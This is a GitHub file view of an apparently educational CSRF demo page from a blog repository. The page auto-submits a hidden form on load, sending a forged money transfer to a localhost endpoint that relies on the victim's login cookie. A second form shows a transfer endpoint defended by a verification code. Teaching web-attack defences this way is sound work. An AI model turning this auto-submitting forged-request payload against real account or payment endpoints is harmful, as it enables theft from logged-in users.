forked from YvetteLau/Blog
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfake.html
More file actions
36 lines (32 loc) · 1.19 KB
/
fake.html
File metadata and controls
36 lines (32 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>你被骗了</title>
</head>
<body>
<!-- 偷偷转走你的钱: 3001端口的cookie被自动带去了3001的服务器 -->
<!-- 表单没有跨域问题 -->
<form name="sneak" action="http://localhost:3001/api/transfer" method="post">
<input type="text" name="payee" value="yvette" />
<input type="text" name="amount" value="2000" />
</form>
<!-- 有验证码的接口 -->
<!-- 虽然用户已经登录,但是需要验证码,验证码匹配错误,不能转走钱 -->
<form name="sneak1" action="http://localhost:3001/api/transfer1" method="post">
<input type="text" name="payee" value="yvette" />
<input type="text" name="amount" value="2000" />
</form>
</body>
<script>
window.onload = function () {
/**
* 以下语句,每次放开对应的一个即可
*/
document.sneak.submit(); //没有防御CSRF攻击
// document.sneak1.submit(); //有验证码的情况
}
</script>
</html>